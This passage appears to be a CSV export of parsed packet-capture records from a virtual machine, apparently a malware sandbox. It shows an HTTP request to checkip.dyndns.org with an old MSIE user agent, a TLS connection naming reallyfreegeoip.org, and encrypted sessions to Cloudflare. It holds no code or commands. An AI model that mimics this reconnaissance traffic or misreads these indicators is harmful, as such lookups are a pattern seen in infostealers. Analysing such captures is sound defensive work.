b'\\xd3\\x1c\\xc2#\\xb6\\x02VK\\xb5~\\x96?\\xb3;#y\\xec:\\xd1\\x9cS\\x93\\xa4\\xf3y\\x0c\\xf2\\xa0\\xe6\\xde_\\x1f\\xfeC\"\"\\xcd\\xed\\x15\\x97\\xf8\\r@\\xb8\\xff\\xf7V][\\xb3!n6\\x14\\x14\\r\\xe75\\xdd\\xd0DM\\x86v\\x8dc\\x8e-\\xb8\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b'\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 163, \"\"id\"\": 42172, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 15829, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50117, \"\"seq\"\": 2484098480, \"\"ack\"\": 1066848766, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 22617, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 59, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSServerHello  msgtype=server_hello msglen=55 version=TLS 1.0 gmt_unix_time=Tue, 28 Apr 2026 18:23:00  (1777400580) random_bytes=a1273468f774778906b7454b7f91ed918c891e77444f574e47524400 sidlen=0 sid=b'' cipher=TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA comp=null extlen=15 ext=[<TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 769, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 48, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"{\\\"\"load\\\"\": \\\"\"\\\\\\\\xd3\\\\u001c\\\\\\\\xc2#\\\\\\\\xb6\\\\u0002VK\\\\\\\\xb5~\\\\\\\\x96?\\\\\\\\xb3;#y\\\\\\\\xec:\\\\u045cS\\\\\\\\x93\\\\\\\\xa4\\\\\\\\xf3y\\\\f\\\\\\\\xf2\\\\\\\\xa0\\\\\\\\xe6\\\\\\\\xde_\\\\u001f\\\\\\\\xfeC\\\\\\\"\"\\\\\\\\xcd\\\\\\\\xed\\\\u0015\\\\\\\\x97\\\\\\\\xf8\\\\r@\\\\\\\\xb8\\\\\\\\xff\\\\\\\\xf7V][\\\"\"}\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:23:00.152957,120,TCP 192.168.122.168:50117 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50117,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=1066848766 Ack=2484098603,525400577f945254007bb79208004500002876b2400080062c5ac0a87aa8bc726000c3c501bb3f96d1fe9410562b5011201457de0000,\"RT.W..RT.{....E..(v.@...,Z..z..r`.....?.....V+P. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30386, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11354, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50117, \"\"dport\"\": 443, \"\"seq\"\": 1066848766, \"\"ack\"\": 2484098603, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:00.153054,121,TCP 188.114.96.0:443 -> 192.168.122.168:50117,188.114.96.0,192.168.122.168,443,50117,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=2484098603 Ack=1066848767,5254007bb792525400577f94080045000028a4bd400040063e4fbc726000c0a87aa801bbc3c59410562b3f96d1ff5011005357de0000,RT.{..RT.W....E..(..@.@.>O.r`...z.......V+?...P..SW...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42173, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 15951, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50117, \"\"seq\"\": 2484098603, \"\"ack\"\": 1066848767, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:00.153205,122,TCP 192.168.122.168:50117 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50117,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=1066848767 Ack=2484098604,525400577f945254007bb79208004500002876b3400080062c59c0a87aa8bc726000c3c501bb3f96d1ff9410562c5010201457de0000,\"RT.W..RT.{....E..(v.@...,Y..z..r`.....?.....V,P. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30387, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11353, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50117, \"\"dport\"\": 443, \"\"seq\"\": 1066848767, \"\"ack\"\": 2484098604, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:00.317254,123,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,PA,,http://checkip.dyndns.org/,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /,525400577f945254007bb7920800450000a7d2a0400080067033c0a87aa884e2f749c3b40050e17453f6c9cc5449501803feb8160000474554202f20485454502f312e310d0a557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520362e303b2057696e646f7773204e5420352e323b202e4e455420434c52312e302e333730353b290d0a486f73743a20636865636b69702e64796e646e732e6f72670d0a0d0a,\"RT.W..RT.{....E.....@...p3..z....I...P.tS...TIP.......GET / HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)\nHost: checkip.dyndns.org\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 167, \"\"id\"\": 53920, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28723, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782497270, \"\"ack\"\": 3385611337, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 47126, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": null, \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": null, \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": null, \"\"Content_Length\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"checkip.dyndns.org\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": null}}]\"\n2026-04-28 18:23:00.317319,124,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3385611337 Ack=3782497397,5254007bb792525400577f9408004500002838de400040064a7584e2f749c0a87aa80050c3b4c9cc5449e174547550100053b7970000,RT.{..RT.W....E..(8.@.@.Ju...I..z..P....TI.tTuP..S....,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 14558, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19061, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385611337, \"\"ack\"\": 3782497397, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:00.734961,125,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,5254007bb792525400577f9408004500015938df40004006494384e2f749c0a87aa80050c3b4c9cc5449e174547550180053b8c80000485454502f312e3120323030204f4b0d0a446174653a205475652c2032382041707220323032362031383a32333a303020474d540d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a203130340d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206e6f2d63616368650d0a507261676d613a206e6f2d63616368650d0a4163636573732d436f6e74726f6c2d416c6c6f772d4f726967696e3a202a0d0a0d0a3c68746d6c3e3c686561643e3c7469746c653e43757272656e7420495020436865636b3c2f7469746c653e3c2f686561643e3c626f64793e43757272656e7420495020416464726573733a203130392e37302e3130302e363c2f626f64793e3c2f68746d6c3e0d0a,\"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 345, \"\"id\"\": 14559, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 18755, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385611337, \"\"ack\"\": 3782497397, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 47304, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": null, \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": \"\"*\"\", \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": null, \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"no-cache\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"104\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": null, \"\"Content_Type\"\": \"\"text/html\"\", \"\"Date\"\": \"\"Tue, 28 Apr 2026 18:23:00 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": null, \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": \"\"no-cache\"\", \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": null, \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": null, \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": null, \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": null, \"\"Unknown_Headers\"\": null}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\\r\\n\"\"}}]\"\n2026-04-28 18:23:00.736982,126,TCP 192.168.122.168:50118 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50118,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,S,,,Ether > IP > TCP,3,TCP S Seq=1572412259 Ack=0,525400577f945254007bb79208004500003476b4400080062c4cc0a87aa8bc726000c3c601bb5db91b63000000008002faf057ea0000020405b40103030801010402,\"RT.W..RT.{....E..4v.@...,L..z..r`.....]..c........W...............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 30388, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11340, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50118, \"\"dport\"\": 443, \"\"seq\"\": 1572412259, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 22506, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-28 18:23:00.737054,127,TCP 188.114.96.0:443 -> 192.168.122.168:50118,188.114.96.0,192.168.122.168,443,50118,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=2654325685 Ack=1572412260,5254007bb792525400577f94080045000034000040004006e300bc726000c0a87aa801bbc3c69e35cbb55db91b648012a56457ea0000020405b40101040201030309,RT.{..RT.W....E..4..@.@....r`...z......5..]..d...dW..............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58112, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50118, \"\"seq\"\": 2654325685, \"\"ack\"\": 1572412260, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 22506, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-28 18:23:00.737157,128,TCP 192.168.122.168:50118 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50118,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=1572412260 Ack=2654325686,525400577f945254007bb79208004500002876b5400080062c57c0a87aa8bc726000c3c601bb5db91b649e35cbb65010201457de0000,\"RT.W..RT.{....E..(v.@...,W..z..r`.....]..d.5..P. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30389, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11351, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50118, \"\"dport\"\": 443, \"\"seq\"\": 1572412260, \"\"ack\"\": 2654325686, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:00.737805,129,TCP 192.168.122.168:50118 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50118,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1572412260 Ack=2654325686,525400577f945254007bb79208004500016376b6400080062b1bc0a87aa8bc726000c3c601bb5db91b649e35cbb65018201459190000160301013601000132030169d7760ab8385cc133b8d737140fc706b9a73aad9f680c17b33f0d3876cf86f300000ec00ac009c014c0130035002f000a010000fb0000001800160000137265616c6c796672656567656f69702e6f7267000a00080006001d00170018000b00020100002300c0168334713c1d2370c2d8321cd32fed7f29083530180fb4e70816062a0f1580975b098bfd0d4aa44918648244e9032c72d81e6a5432615b24fd4ed6de2e55a8a938adea3238a35c1bcba5385e8c1591d9ef3e39ae5b07f90e6c59465bc94956f4cfcfeaa25d9c9001dac96b74cd8bae425eeda4baefab7b5722f3254595d3e8a122e99292e531c2908eed19ac46599d0473fa85bfcdad1456250e7c27b68c3f4e80bedb61c3f3041febf95d7412253518124d6656a06b0f016f7799af38dd3d5b00170000ff01000100,\"RT.W..RT.{....E..cv.@...+...z..r`.....]..d.5..P. .Y.......6...2..i.v\n.8\\.3..7......:..h...?\n8v.......\n.\t.....5./.\n.............reallyfreegeoip.org.\n.................#....4q<.#p..2../..).50.......*....[\t..\nJ.I.d.D..,r..jT2a[$.N...U..8..28.\\...8^.....>9.[...lYF[.IV.....].....kt...B^.....{W\"\".%E....\"\"....1......FY..s......V%.|'..?N...a......]t.%5..MfV.k..ow..8.=[.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 355, \"\"id\"\": 30390, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11035, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50118, \"\"dport\"\": 443, \"\"seq\"\": 1572412260, \"\"ack\"\": 2654325686, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22809, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 310, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=306 version=TLS 1.0 gmt_unix_time=Thu, 09 Apr 2026 09:48:58  (1775728138) random_bytes=b8385cc133b8d737140fc706b9a73aad9f680c17b33f0d3876cf86f3 sidlen=0 sid=b'' cipherslen=14 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=251 ext=[<TLS_Ext_ServerName  type=server_name len=24 servernameslen=22 servernames=[b'reallyfreegeoip.org'] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SessionTicket  type=session_ticket len=192 